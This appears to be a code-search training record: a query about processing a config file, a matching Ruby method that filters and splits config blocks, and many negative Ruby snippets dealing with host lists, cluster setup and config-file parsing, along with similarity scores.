"def modify_cloud_config(parsed_hash, nodes)\n parsed_hash_internal_ips = Marshal.load(Marshal.dump(parsed_hash))\n\n parsed_hash[:ssh_key] = if @provider == 'aws'\n File.expand_path('~/.ssh') + '/' + @credentials[:aws_key]\n elsif @provider == 'openstack'\n File.expand_path('~/.ssh') + '/' + @credentials[:os_ssh_key]\n elsif @provider == 'rackspace'\n File.split(File.expand_path(@credentials[:rackspace_ssh_key])).first + '/' +\n File.basename(File.expand_path(@credentials[:rackspace_ssh_key]), '.pub')\n end\n parsed_hash[:ssh_user] = if @provider == 'openstack'\n @credentials[:os_ssh_user]\n else\n if parsed_hash[:cloud_os_type].downcase == 'centos'\n 'root'\n elsif parsed_hash[:cloud_os_type].downcase == 'ubuntu' && parsed_hash[:cloud_os_type].downcase == 'aws'\n 'ubuntu'\n else\n 'root'\n end\n end\n parsed_hash[:controller] = find_fqdn_for_tag(nodes, 'controller').first\n if parsed_hash[:hadoop_deploy] != 'disabled'\n parsed_hash[:hadoop_deploy][:namenode] = find_fqdn_for_tag(nodes, 'namenode')\n if parsed_hash[:hadoop_deploy][:mapreduce] != 'disabled'\n parsed_hash[:hadoop_deploy][:mapreduce][:master] = find_fqdn_for_tag(nodes, 'jobtracker').first\n end\n if parsed_hash[:hadoop_deploy][:ha] == 'disabled'\n parsed_hash[:hadoop_deploy][:secondarynamenode] = find_fqdn_for_tag(nodes, 'secondarynamenode').first\n end\n parsed_hash[:worker_nodes] = find_fqdn_for_tag(nodes, 'slaves')\n if parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash[:hadoop_deploy][:journal_quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled'\n parsed_hash[:hbase_deploy][:master] = find_fqdn_for_tag(nodes, 'hbasemaster')\n end\n # volumes to mount points\n worker_volumes = parsed_hash[:hadoop_deploy][:worker_volumes]\n parsed_hash[:hadoop_deploy][:data_dirs] = if worker_volumes\n Array.new(worker_volumes[:count]){ |i| \"/data/hadoop/#{i+1}\" }\n else\n ['/data/hadoop']\n end\n master_volumes = parsed_hash[:hadoop_deploy][:master_volumes]\n parsed_hash[:hadoop_deploy][:master_dirs] = if master_volumes\n Array.new(master_volumes[:count]){ |i| \"/data/hadoop/#{i+1}\" }\n else\n ['/data/hadoop']\n end\n end\n\n if parsed_hash[:cassandra_deploy] != 'disabled'\n parsed_hash[:cassandra_deploy][:nodes] = find_fqdn_for_tag(nodes, 'cassandra')\n parsed_hash[:cassandra_deploy][:seeds] = find_fqdn_for_tag(nodes, 'cassandraseed')\n cassandra_volumes = parsed_hash[:cassandra_deploy][:volumes]\n cassandra_mounts = if cassandra_volumes\n Array.new(cassandra_volumes[:count]){|i| \"/data/cassandra/#{i+1}\" }\n end\n parsed_hash[:cassandra_deploy][:data_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts[0..cassandra_mounts.size-2].map { |dir| dir = dir + '/data' }\n else\n cassandra_mounts.first + '/data'\n end\n else\n ['/var/lib/cassandra/data']\n end\n parsed_hash[:cassandra_deploy][:commitlog_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts.last + '/commitlog'\n else\n cassandra_mounts.first + '/commitlog'\n end\n else\n '/var/lib/cassandra/commitlog'\n end\n parsed_hash[:cassandra_deploy][:saved_caches_dirs] = if cassandra_mounts\n if cassandra_mounts.size > 1\n cassandra_mounts.last + '/saved_caches'\n else\n cassandra_mounts.first + '/saved_caches'\n end\n else\n '/var/lib/cassandra/saved_caches'\n end\n end\n\n if parsed_hash[:solr_deploy] != 'disabled'\n if parsed_hash[:solr_deploy][:hdfs_integration] == 'disabled'\n parsed_hash[:solr_deploy][:nodes] = find_fqdn_for_tag(nodes, 'solr')\n else\n parsed_hash[:solr_deploy][:nodes] = find_fqdn_for_tag(nodes, 'slaves')\n end\n end\n\n if parsed_hash[:kafka_deploy] != 'disabled'\n parsed_hash[:kafka_deploy][:brokers] = find_fqdn_for_tag(nodes, 'kafka')\n end\n\n if parsed_hash[:storm_deploy] != 'disabled'\n parsed_hash[:storm_deploy][:supervisors] = find_fqdn_for_tag(nodes, 'stormworker')\n parsed_hash[:storm_deploy][:master] = find_fqdn_for_tag(nodes, 'stormnimbus').first\n end\n #zookeepers\n if parsed_hash[:hadoop_deploy] != 'disabled' and parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash[:zookeeper_deploy][:quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled' or\n parsed_hash[:kafka_deploy] != 'disabled' or\n parsed_hash[:storm_deploy] != 'disabled'\n unless parsed_hash[:zookeeper_deploy].has_key? :quorum\n parsed_hash[:zookeeper_deploy][:quorum] = find_fqdn_for_tag(nodes, 'zookeeper')\n end\n end\n\n # If AWS, hash with internal ips should contain private_ip\n # If RackSpace, hash with internal ips should contain fqdn\n\n parsed_hash_internal_ips[:ssh_key] = parsed_hash[:ssh_key]\n parsed_hash_internal_ips[:ssh_user] = parsed_hash[:ssh_user]\n parsed_hash_internal_ips[:controller] = find_internal_ip(nodes, 'controller').first\n if parsed_hash[:hadoop_deploy] != 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:namenode] = find_internal_ip(nodes, 'namenode')\n if parsed_hash[:hadoop_deploy][:mapreduce] != 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:mapreduce][:master] = find_internal_ip(nodes, 'jobtracker').first\n end\n if parsed_hash[:hadoop_deploy][:ha] == 'disabled'\n parsed_hash_internal_ips[:hadoop_deploy][:secondarynamenode] = find_internal_ip(nodes, 'secondarynamenode').first\n end\n parsed_hash_internal_ips[:worker_nodes] = find_internal_ip(nodes, 'slaves')\n if parsed_hash[:hadoop_deploy][:ha] == 'enabled'\n parsed_hash_internal_ips[:hadoop_deploy][:journal_quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled'\n parsed_hash_internal_ips[:hbase_deploy][:master] = find_internal_ip(nodes, 'hbasemaster')\n end\n parsed_hash_internal_ips[:hadoop_deploy][:data_dirs] = parsed_hash[:hadoop_deploy][:data_dirs]\n parsed_hash_internal_ips[:hadoop_deploy][:master_dirs] = parsed_hash[:hadoop_deploy][:master_dirs]\n end\n if parsed_hash[:cassandra_deploy] != 'disabled'\n parsed_hash_internal_ips[:cassandra_deploy][:nodes] = find_internal_ip(nodes, 'cassandra')\n parsed_hash_internal_ips[:cassandra_deploy][:seeds] = find_internal_ip(nodes, 'cassandraseed')\n # cassandra storage directories\n parsed_hash_internal_ips[:cassandra_deploy][:data_dirs] = parsed_hash[:cassandra_deploy][:data_dirs]\n parsed_hash_internal_ips[:cassandra_deploy][:commitlog_dirs] = parsed_hash[:cassandra_deploy][:commitlog_dirs]\n parsed_hash_internal_ips[:cassandra_deploy][:saved_caches_dirs] = parsed_hash[:cassandra_deploy][:saved_caches_dirs]\n end\n if parsed_hash[:solr_deploy] != 'disabled'\n if parsed_hash[:solr_deploy][:hdfs_integration] == 'disabled'\n parsed_hash_internal_ips[:solr_deploy][:nodes] = find_internal_ip(nodes, 'solr')\n else\n parsed_hash_internal_ips[:solr_deploy][:nodes] = find_internal_ip(nodes, 'slaves')\n end\n end\n if parsed_hash[:kafka_deploy] != 'disabled'\n parsed_hash_internal_ips[:kafka_deploy][:brokers] = find_internal_ip(nodes, 'kafka')\n end\n if parsed_hash[:storm_deploy] != 'disabled'\n parsed_hash_internal_ips[:storm_deploy][:supervisors] = find_internal_ip(nodes, 'stormworker')\n parsed_hash_internal_ips[:storm_deploy][:master] = find_internal_ip(nodes, 'stormnimbus').first\n end\n if parsed_hash[:hadoop_deploy] != 'disabled' and parsed_hash[:hadoop_deploy][:hadoop_ha] == 'enabled'\n parsed_hash_internal_ips[:zookeeper_deploy][:quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n if parsed_hash[:hbase_deploy] != 'disabled' or\n parsed_hash[:kafka_deploy] != 'disabled' or\n parsed_hash[:storm_deploy] != 'disabled'\n unless parsed_hash_internal_ips[:zookeeper_deploy].has_key? :quorum\n parsed_hash_internal_ips[:zookeeper_deploy][:quorum] = find_internal_ip(nodes, 'zookeeper')\n end\n end\n\n return parsed_hash, parsed_hash_internal_ips\n end",
"def add_hosts(_)\n deploy(nil)\n end",
"def configure_all(hosts, ping = true)\n check_ansible_version\n\n ansible_dir = generate_ansible_configs(hosts)\n\n try_ssh(ansible_dir) if ping\n\n # offline ONE host\n OneProvisionLogger.info('Configuring hosts')\n\n # build Ansible command\n cmd = \"ANSIBLE_CONFIG=#{ansible_dir}/ansible.cfg \"\n cmd += \"ansible-playbook #{ANSIBLE_ARGS}\"\n cmd << \" -i #{ansible_dir}/inventory\"\n cmd << \" -i #{ANSIBLE_LOCATION}/inventories/#{@inventory}/\"\n cmd << \" #{ANSIBLE_LOCATION}/#{@inventory}.yml\"\n\n o, _e, s = Driver.run(cmd)\n\n if s && s.success?\n # enable configured ONE host back\n OneProvisionLogger.debug('Enabling OpenNebula hosts')\n\n configured = 'PROVISION_CONFIGURATION_STATUS=configured'\n\n hosts.each do |host|\n host.update(configured, true)\n host.enable\n end\n\n 0\n else\n error = 'PROVISION_CONFIGURATION_STATUS=error'\n\n hosts.each do |host|\n host.update(error, true)\n end\n\n errors = parse_ansible(o) if o\n\n raise OneProvisionLoopException, errors\n end\n rescue StandardError => e\n raise OneProvisionLoopException, e.text\n end",
"def host_list\n return @host_list if defined?(@host_list)\n\n if !self.hosts.blank?\n @host_list = self.hosts.split(/[,\\s]+/).compact\n else\n @host_list = []\n end\n\n @host_list\n end",
"def host_list()\n host_list = [\n {\"ip\"=>\"192.168.110.207\", \"host\"=>\"zabbix-server\", \"roles\"=>[\"zabbix-server\", \"csgw\"], \"deployment\"=>\"vm\", \"status\"=>1},\n {\"ip\"=>\"192.168.110.210\", \"host\"=>\"test-01\", \"roles\"=>[\"test\"], \"deployment\"=>\"test\", \"status\"=>1}\n ]\n return host_list\n end",
"def hosts\n if @hosts\n @hosts\n elsif @host\n [@host]\n else\n self.class.hosts\n end\n end",
"def servers\n tuples = config.scan(SERVER_REGEXP)\n tuples.map do |(host, mplex, vrf, port, tout, keyfm, key)|\n hsh = {}\n hsh[:hostname] = host\n hsh[:vrf] = vrf\n hsh[:port] = port.to_i\n hsh[:timeout] = tout.to_i\n hsh[:key_format] = keyfm.to_i\n hsh[:key] = key\n hsh[:multiplex] = mplex ? true : false\n hsh\n end\n end",
"def config_hosts(target_file, app_name)\n puts\n puts \"******************************************************************************************************************************************\"\n puts\n puts \"Configuring /etc/hosts\"\n puts\n begin\n if File.writable?(target_file)\n etc_hosts = IO.readlines(target_file)\n etc_hosts << \"127.0.0.1 #{app_name}.local\"\n etc_hosts.compact!\n File.open(target_file, \"w\") do |file|\n file.puts etc_hosts\n end\n puts \"Success! #{app_name.green} has been added to #{target_file.green}\"\n puts\n else\n puts \"It doesn't look like you have write access for #{target_file}. Would you like to use sudo to change them?\".yellow\n puts \"Type yes (\" + \"y\".yellow + \") or no (\" + \"n\".yellow + \")\"\n puts\n input = gets.chomp\n if input == \"yes\" || input == \"y\"\n puts \"Setting permissions for #{target_file.green}\"\n puts\n system \"sudo chmod 755 #{target_file}\"\n config_etc_hosts(app_name)\n else\n puts \"Skipping automatic #{target_file} config.\"\n end\n end\n rescue\n puts \"There was a problem accessing the file #{target_file.red}, you may need to adjust the privileges.\"\n puts\n end\n puts \"******************************************************************************************************************************************\"\n puts\n end",
"def network_config\n return '--net=host' unless @vpn_tunnel\n\n hostname = `hostname`.chomp\n \"--net=container:#{hostname}\"\n end",
"def add_common_configs config\n # Mount the synced folders.\n self.synced_folders do | entry |\n config.vm.synced_folder entry[\"path\"], entry[\"name\"]\n end\n # Forward the ssh port. The id ensures that this is used instead of 2222\n # rather than in addition to.\n config.vm.network :forwarded_port, host: self.ssh_port, guest: 22, id: \"ssh\"\n end",
"def configure_cloud\n message \"Configuring master\"\n build_and_send_config_files_in_temp_directory\n remote_configure_instances\n \n nodes.each do |node|\n node.configure\n end \n end",
"def other_server_hosts\n @other_server_hosts ||= all_server_hosts.reject {|x| x == server_host}\n end",
"def host=(_); end",
"def is_hosts_configured()\n ary = []\n hosts_file = \"hosts\"\n open(hosts_file, \"r\") {|f|\n f.each_line {|l|\n if not (l =~ /^(\\[|#|\\n)/) # match lines doesn't start from \"[\", \"#\" or \"\\n\"\n ary << l\n end\n }\n }\n if ary.size == 0\n return false\n else\n return true\n end\nend",
"def healthy_cluster_config\n {\n 'http://127.0.0.1:4001' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4002' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4003' => 'http://127.0.0.1:4001'\n }\n end",
"def addr; @configuration['addr']; end",
"def setDefaults\n ips = []\n if $IN_AWS\n [\"public-ipv4\", \"local-ipv4\"].each { |addr|\n begin\n Timeout.timeout(2) do\n ip = URI.open(\"http://169.254.169.254/latest/meta-data/#{addr}\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError\n # these are ok to ignore\n end\n }\n elsif $IN_GOOGLE\n base_url = \"http://metadata.google.internal/computeMetadata/v1\"\n begin\n Timeout.timeout(2) do\n # TODO iterate across multiple interfaces/access-configs\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/access-configs/0/external-ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError => e\n # This is fairly normal, just handle it gracefully\n end\n end\n\n\n $CONFIGURABLES[\"allow_invade_foreign_vpcs\"][\"default\"] = false\n $CONFIGURABLES[\"public_address\"][\"default\"] = $possible_addresses.first\n $CONFIGURABLES[\"hostname\"][\"default\"] = Socket.gethostname\n $CONFIGURABLES[\"banner\"][\"default\"] = \"Mu Master at #{$CONFIGURABLES[\"public_address\"][\"default\"]}\"\n if $IN_AWS\n # XXX move this crap to a callback hook for puttering around in the AWS submenu\n aws = JSON.parse(URI.open(\"http://169.254.169.254/latest/dynamic/instance-identity/document\").read)\n iam = nil\n begin\n iam = URI.open(\"http://169.254.169.254/latest/meta-data/iam/security-credentials\").read\n rescue OpenURI::HTTPError, SocketError\n end\n # $CONFIGURABLES[\"aws\"][\"subtree\"][\"account_number\"][\"default\"] = aws[\"accountId\"]\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"region\"][\"default\"] = aws[\"region\"]\n if iam and iam.size > 0\n # XXX can we think of a good way to test our permission set?\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_secret\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n end\n end\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n $CONFIGURABLES[\"google\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n end",
"def hosts\n @hosts ||= match[5].split(\",\")\n end",
"def parse_hosts (args)\n\n discoveryrc = File.expand_path(\"~/.discoveryrc\")\n aliasmap = {}\n if File.readable?(discoveryrc)\n File.readlines(discoveryrc).each {|line| line.scan(/(\\w+)\\s*=\\s*(.*)/) {|k,v| aliasmap[k]=v}}\n end\n\n if args.size == 0 || args[0] =~ /^-/\n @hosts = aliasmap[\"localhost\"].nil? ? [\"http://localhost:8080\"] : aliasmap[\"localhost\"]\n else\n hostname = args.shift()\n @hosts = (aliasmap[hostname] || hostname).split(',').map() {|host| host.strip()};\n end\n \n return @hosts\n end",
"def config(&block_)\n ::Blockenspiel.invoke(block_, @config) if block_\n @config\n end",
"def configure_private_network(config, ips, net_name)\n ips.each do |ip|\n config.vm.network 'private_network',\n ip: ip,\n netmask: '255.255.255.0',\n virtualbox__intnet: net_name\n end\nend",
"def config(&block)\n instance_eval(&block) if block_given?\n end",
"def configure (*envs, &block)\n\n (@configures ||= []) << [ envs.collect { |e| e.to_s }, block ]\n end",
"def configure_defaults_on(hosts, type)\n block_on hosts do |host|\n # check to see if the host already has a type associated with it\n remove_defaults_on(host)\n\n add_method = \"add_#{type}_defaults_on\"\n raise \"cannot add defaults of type #{type} for host #{host.name} (#{add_method} not present)\" unless respond_to?(\n add_method, host\n )\n\n send(add_method, host)\n\n # add pathing env\n add_puppet_paths_on(host)\n end\n end",
"def inject_private_network_config(ci_environment_vms)\n return ci_environment_vms if ci_environment_vms.count() == 1\n int_id = 10\n ci_environment_vms.each do |vm,config|\n ci_environment_vms[vm][\"private_ip\"] = \"192.168.50.\" + int_id.to_s\n int_id += 1\n end\n ci_environment_vms\n end",
"def configure(&block)\n yield config\n end",
"def cxx_configuration(&block)\n @all_blocks = []\n block.call\n end",
"def generate_config_for(mode)\n config_items = []\n @cluster_members.each do |mem|\n # The config item should match the structure NodeInfo\n # in node/cluster/membership.go in order for that one\n # to unmarshal successfully.\n config_item = {node_id: mem.id}\n if :docker.eql? mode\n config_item[:rpc_url] = \"#{mem.id}:#{mem.rpc_port}\"\n config_item[:api_url] = \"#{mem.id}:#{mem.api_port}\"\n else\n config_item[:rpc_url] = \"localhost:#{mem.rpc_port}\"\n config_item[:api_url] = \"localhost:#{mem.api_port}\"\n end\n config_items << config_item\n end\n config_items\n end",
"def create_esb_server (config, hostname, ip1, ip2)\n config.vm.define hostname do |esb|\n esb.vm.provider \"virtualbox\" do |provider|\n provider.customize [\"modifyvm\", :id, \"--memory\", 2048]\n end\n\n esb.vm.network \"private_network\", ip: ip1\n esb.vm.host_name = hostname\n\n esb.vm.network \"private_network\", ip: ip2\n end\nend",
"def hosts\n @hosts ||= match[5].split(\",\")\n end",
"def config(&blk)\n scope &blk\n self\n end",
"def each(&block)\n @_config.each(&block)\n end"
] |
[
"0.7338561",
"0.70764697",
"0.6782281",
"0.65633124",
"0.65633124",
"0.65633124",
"0.654711",
"0.63554907",
"0.63472986",
"0.63418674",
"0.63418674",
"0.63105065",
"0.6256475",
"0.62415254",
"0.6212775",
"0.61521417",
"0.60444057",
"0.60348874",
"0.60348874",
"0.6033988",
"0.600536",
"0.5992115",
"0.5984287",
"0.59583324",
"0.59525555",
"0.58932793",
"0.5884989",
"0.58844256",
"0.58836335",
"0.58801186",
"0.5876079",
"0.587421",
"0.58564705",
"0.5849878",
"0.5844058",
"0.5837817",
"0.58346826",
"0.5824674",
"0.58236766",
"0.5822585",
"0.5817433",
"0.5810294",
"0.5788061",
"0.5780482",
"0.576631",
"0.5744914",
"0.573922",
"0.57303965",
"0.57236356",
"0.5720381",
"0.57154447",
"0.571185",
"0.57114184",
"0.57114184",
"0.5703438",
"0.56986254",
"0.5698576",
"0.56976163",
"0.56950605",
"0.5685834",
"0.56813097",
"0.5674826",
"0.56744105",
"0.5673486",
"0.56702775",
"0.56700987",
"0.5668828",
"0.56665444",
"0.56632257",
"0.5658324",
"0.56554204",
"0.5650401",
"0.5646512",
"0.564247",
"0.56304556",
"0.5629309",
"0.56126606",
"0.5600007",
"0.5589768",
"0.55848694",
"0.5577314",
"0.5573704",
"0.5572222",
"0.5568994",
"0.5567668",
"0.55572164",
"0.555274",
"0.55499554",
"0.552776",
"0.55276954",
"0.55219024",
"0.552028",
"0.5517758",
"0.5516187",
"0.55134785",
"0.55064005",
"0.5499677",
"0.5499109",
"0.5488443",
"0.5473776"
] |
0.7541265
|
0
|
Do some processing on the config file
|
def process_config(parsed_config)
final_config = []
parsed_config.each do |config_block|
# Skip any blocks that are explicitely not enabled
next if config_block.key?('enabled') && !config_block['enabled']
if config_block['remoteHost'].instance_of? Array
final_config += split_multi_remotehost_config_blocks(config_block)
else
final_config << config_block
end
end
final_config
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_config_file(path)\n RFlow.logger.info \"Processing config file (#{Dir.getwd}) '#{path}'\"\n load path\n end",
"def read_config_file; end",
"def process_config src, file_name\n ConfigProcessor.new(@tracker).process_config src, file_name\n end",
"def process_configuration\n self.configuration = YAML::load(File.read('.codecom.yml'))\n end",
"def read_config_file(file); end",
"def parse_config(config); end",
"def process_config src, file_name\n @file_name = file_name\n res = Railroader::AliasProcessor.new(@tracker).process_safely(src, nil, @file_name)\n process res\n end",
"def config_load(config); end",
"def import_config()\n # The config is top down.. anything after a [group] gets added as part\n # of that group until a new [group] is found. \n group = nil\n open(self.config_file).each do |line| \n line.strip!\n unless (/^\\#/.match(line))\n if(/\\s*=\\s*/.match(line))\n param, value = line.split(/\\s*=\\s*/, 2) \n var_name = \"#{param}\".chomp.strip\n value = value.chomp.strip\n new_value = ''\n if (value)\n if value =~ /^['\"](.*)['\"]$/\n new_value = $1\n else\n new_value = value\n end\n else\n new_value = ''\n end \n\n if group\n self.add_to_group(group, var_name, new_value)\n else\n self.add(var_name, new_value)\n end\n \n elsif(/^\\[(.+)\\]$/.match(line).to_a != [])\n group = /^\\[(.+)\\]$/.match(line).to_a[1]\n self.add(group, {})\n \n end\n end\n end \n end",
"def process_config\n input = File.open(\"lib/templates/config_template.sh\",\"r\")\n config = input.read\n input.close()\n output = File.new(@bigframe_home + \"/conf/config.sh\", \"w\") \n if output\n output.syswrite(config %[@hadoop_home, @tpchds_local])\n end\n output.close()\n end",
"def find_config(file); end",
"def after_config_update(*_)\n config[:parameters] ||= Smash.new\n config[:compile_parameters] ||= Smash.new\n config[:apply_stack] ||= []\n config[:apply_mapping] ||= Smash.new\n stack_name = arguments.first\n content = load_file_for(stack_name)\n process_information_hash(content, [])\n nil\n end",
"def parse_config\n %w(/etc/steel/steel.yml steel.yml).each do |cfg|\n if File.exist?(cfg)\n begin\n y = YAML.load_file(cfg)\n rescue Psych::SyntaxError => e\n error \"[#{e.class}] Failed to parse '#{cfg}'!!\"\n error e.message\n exit 1\n end\n # Merge the contents of the config into @config.\n config.merge!(y)\n end\n end\n end",
"def process config\n replace_variables config.template_location\n\n replace_variables config.generate_settings.command unless config.generate_settings == nil || config.generate_settings.command == nil\n replace_variables config.generate_settings.docker_file unless config.generate_settings == nil || config.generate_settings.docker_file == nil\n\n replace_variables config.build_settings.build_commands.fetch unless config.build_settings == nil || config.build_settings.build_commands.fetch == nil\n replace_variables config.build_settings.build_commands.build unless config.build_settings == nil || config.build_settings.build_commands.build == nil\n replace_variables config.build_settings.build_commands.test unless config.build_settings == nil || config.build_settings.build_commands.test == nil\n\n replace_variables config.build_settings.docker_settings.image unless config.build_settings == nil || config.build_settings.docker_settings.image == nil\n replace_variables config.build_settings.docker_settings.env unless config.build_settings == nil || config.build_settings.docker_settings.env == nil\n replace_variables config.build_settings.docker_settings.binds unless config.build_settings == nil || config.build_settings.docker_settings.binds == nil\n replace_variables config.build_settings.docker_settings.working_directory unless config.build_settings == nil || config.build_settings.docker_settings.working_directory == nil\n\n return config\n end",
"def read_config_file\n begin\n Log.log.debug(\"config file is: #{@option_config_file}\".red)\n conf_file_v1=File.join(Dir.home,ASPERA_HOME_FOLDER_NAME,PROGRAM_NAME_V1,DEFAULT_CONFIG_FILENAME)\n conf_file_v2=File.join(Dir.home,ASPERA_HOME_FOLDER_NAME,PROGRAM_NAME_V2,DEFAULT_CONFIG_FILENAME)\n # files search for configuration, by default the one given by user\n search_files=[@option_config_file]\n # if default file, then also look for older versions\n search_files.push(conf_file_v2,conf_file_v1) if @option_config_file.eql?(@conf_file_default)\n # find first existing file (or nil)\n conf_file_to_load=search_files.select{|f| File.exist?(f)}.first\n # require save if old version of file\n save_required=!@option_config_file.eql?(conf_file_to_load)\n # if no file found, create default config\n if conf_file_to_load.nil?\n Log.log.warn(\"No config file found. Creating empty configuration file: #{@option_config_file}\")\n @config_presets={CONF_PRESET_CONFIG=>{CONF_PRESET_VERSION=>@program_version},CONF_PRESET_DEFAULT=>{'server'=>'demoserver'},\n 'demoserver'=>{'url'=>'ssh://'+DEMO+'.asperasoft.com:33001','username'=>AOC_COMMAND_V2,'ssAP'.downcase.reverse+'drow'.reverse=>DEMO+AOC_COMMAND_V2}}\n else\n Log.log.debug \"loading #{@option_config_file}\"\n @config_presets=YAML.load_file(conf_file_to_load)\n end\n files_to_copy=[]\n Log.log.debug \"Available_presets: #{@config_presets}\"\n raise \"Expecting YAML Hash\" unless @config_presets.is_a?(Hash)\n # check there is at least the config section\n if !@config_presets.has_key?(CONF_PRESET_CONFIG)\n raise \"Cannot find key: #{CONF_PRESET_CONFIG}\"\n end\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]\n if version.nil?\n raise \"No version found in config section.\"\n end\n # oldest compatible conf file format, update to latest version when an incompatible change is made\n # check compatibility of version of conf file\n config_tested_version='0.4.5'\n if Gem::Version.new(version) < Gem::Version.new(config_tested_version)\n raise \"Unsupported config file version #{version}. Expecting min version #{config_tested_version}\"\n end\n config_tested_version='0.6.15'\n if Gem::Version.new(version) < Gem::Version.new(config_tested_version)\n convert_preset_plugin_name(AOC_COMMAND_V1,AOC_COMMAND_V2)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n config_tested_version='0.8.10'\n if Gem::Version.new(version) <= Gem::Version.new(config_tested_version)\n convert_preset_path(PROGRAM_NAME_V1,PROGRAM_NAME_V2,files_to_copy)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n config_tested_version='1.0'\n if Gem::Version.new(version) <= Gem::Version.new(config_tested_version)\n convert_preset_plugin_name(AOC_COMMAND_V2,AOC_COMMAND_V3)\n convert_preset_path(PROGRAM_NAME_V2,@tool_name,files_to_copy)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n # Place new compatibility code here\n if save_required\n Log.log.warn(\"Saving automatic conversion.\")\n @config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=@program_version\n save_presets_to_config_file\n Log.log.warn(\"Copying referenced files\")\n files_to_copy.each do |file|\n FileUtils.cp(file,@main_folder)\n Log.log.warn(\"..#{file} -> #{@main_folder}\")\n end\n end\n rescue Psych::SyntaxError => e\n Log.log.error(\"YAML error in config file\")\n raise e\n rescue => e\n Log.log.debug(\"-> #{e}\")\n new_name=\"#{@option_config_file}.pre#{@program_version}.manual_conversion_needed\"\n File.rename(@option_config_file,new_name)\n Log.log.warn(\"Renamed config file to #{new_name}.\")\n Log.log.warn(\"Manual Conversion is required. Next time, a new empty file will be created.\")\n raise CliError,e.to_s\n end\n end",
"def process_config_file filename\n f = ::File.open(filename, 'r')\n f.each_line(\"\\n\") do |line|\n # skip comments\n next if !((line =~ /^\\s*#/).nil?)\n\n type, name, opt1, opt2, opt3 = line.gsub(\"\\n\", '').split(\"\\t\")\n case type\n when 'linux'\n version = opt1\n suffix = opt2\n logger.info \"Installing Linux package: #{name}\"\n # load the Linux package\n UwDeploy::Linux.deploy(name, version, suffix)\n when 'dpkg'\n d_sitebase = get_sitebase(opt1)\n object_name = d_sitebase + '/' + name\n logger.info \"Deploying Debian package: #{name}\"\n process_object object_name, @destination\n when 'R'\n r_sitebase = get_sitebase(opt3)\n object_name = r_sitebase + '/' + name + '_' + opt1 + opt2\n process_object object_name, @destination\n else\n f.close\n raise \"Unrecognized package config type, aborting: #{type}\"\n end\n end\n f.close\n end",
"def parse_config\r\n exec 'parse_config(true);'\r\n self.config_parsed = true\r\n end",
"def read_config(fi,conf,curDir)\n\tDir.chdir curDir\n\tbDirs=bFiles=false\n \n\tIO.readlines(fi).each do |line|\n\t\tline.chomp!\n line.strip!\n\t\tnext if line[0,1]=='#' #comment line ?\n\t\tnext if line.empty? # ignore empty lines\n\t\tif line=~/^-exdirs/i\n\t\t\tbDirs,bFiles=true, false\n\t\telsif line=~/^-exfiles/i\n\t\t\tbFiles,bDirs=true, false\n\t\telsif line=~/^-server/i\n\t\t\tconf[:server]=getVal(line)\n\t\telsif line=~/^-user/i\n\t\t\tconf[:user]=getVal(line)\t\t\n\t\telsif line=~/^-port/i\n\t\t\tconf[:port]=getVal(line).to_i\n\t\telsif line=~/^-pass/i\n\t\t\tconf[:pass]=getVal(line)\n\t\telsif line=~/^-ftpdir/i\n\t\t\tconf[:ftpDir]=getVal(line)\n \t\telsif line=~/^-backupDrive/i\n\t\t\tconf[:backupDrive]=getVal(line)\n\n\t\telsif line=~/^-backupFile/i\n\t\t\tconf[:backupFile]=getVal(line)\n \t elsif line=~/^-generations/i\n\t\t\tconf[:generations]=getVal(line).to_i\n unless conf[:generations]>0\n puts 'error in config: generations must be > 0 !'\n puts line\n exit 1\n end\n elsif line=~/^-cryptpass/i\n\tconf[:passphrase]=getVal(line)\n \tif conf[:passphrase].size<8\n \tputs 'error in config: cryptpass minimum length is 8 chars !'\n \t \tputs line\n \texit 1\n end\n elsif bDirs\n\t\t\tconf[:exDirs]<< line # collect directories to exclude/(nclude empty only)\n elsif bFiles\n\t\t\tconf[:exFiles]<< line # collect file masks to exclude\n else\n\t\t\tconf[:saveDirs]<< line # collect directories to backup\n end\n end\nend",
